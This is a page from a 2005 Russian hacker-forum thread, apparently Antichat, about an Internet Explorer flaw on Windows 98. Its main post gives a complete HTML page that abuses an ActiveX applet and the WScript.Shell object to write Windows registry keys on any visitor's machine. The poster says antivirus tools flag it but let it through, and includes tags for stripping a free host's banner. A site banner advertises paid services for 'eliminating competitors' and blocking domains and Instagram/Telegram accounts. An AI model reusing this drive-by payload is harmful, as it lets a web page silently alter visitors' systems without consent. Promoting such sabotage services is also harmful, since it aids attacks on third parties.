Универсальный Xss в Ie

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Универсальный Xss в Ie

Страница 2 из 2

Опции темы

Поиск в этой теме

Опции просмотра

#11

23.06.2005, 17:05

censored!

Green member - Level 3

Регистрация: 02.11.2004

Сообщений: 1,337

Провел на форуме:
2398258

Репутация: 648

На 98-м (но с обнавлениями) с шестым ИЕ тоже не работает.
Завтра проверю на 98-х без обновлений и пятым ИЕ.
...
Если на то пошло (старье поднимаем) - также завтра притащю как при заходе на страницу в 98 (ИЕ5) реестр править. Причем - антивирусы (нортон и касперский) орут что там хрень какая-то, однако пропускают и можно редактировать ветки реестра (ну, или, сносить их).

#12

24.06.2005, 14:36

censored!

Green member - Level 3

Регистрация: 02.11.2004

Сообщений: 1,337

Провел на форуме:
2398258

Репутация: 648

Для 98-го. Правит реестр (добавляя при загрузке винды приветственную надпись).
...

Код HTML:

<HTML><HEAD></HEAD><BODY>
<APPLET code=com.ms.activeX.ActiveXComponent height=0 width=0><PARAM NAME="code" VALUE="com.ms.activeX.ActiveXComponent"><PARAM NAME="height" VALUE="1"><PARAM NAME="width" VALUE="1"><PARAM NAME="codeBase" VALUE="http://www.antichat.ru"></APPLET>
<SCRIPT language=JAVASCRIPT>
<!-- 
InterfaceObject=document.applets[0];
setTimeout("Run()",1000);
function Run()
{
regkey = "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption"
regparam = "Велкам!"
WshShellClassID="{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}";
InterfaceObject.setCLSID(WshShellClassID);
wshShell = InterfaceObject.createInstance();
wshShell.regwrite(regkey,regparam)
regkey = "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText"
regparam = "Добро пожаловать на Античат | http://www.antichat.ru"
wshShell.regwrite(regkey,regparam)
}
-->
</SCRIPT></BODY></HTML><noscript><noscript><plaintext><plaintext>

...
p.s. в конце <noscript><noscript><plaintext><plaintext> это для "резки" банера на НАрод_Ру

Страница 2 из 2

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход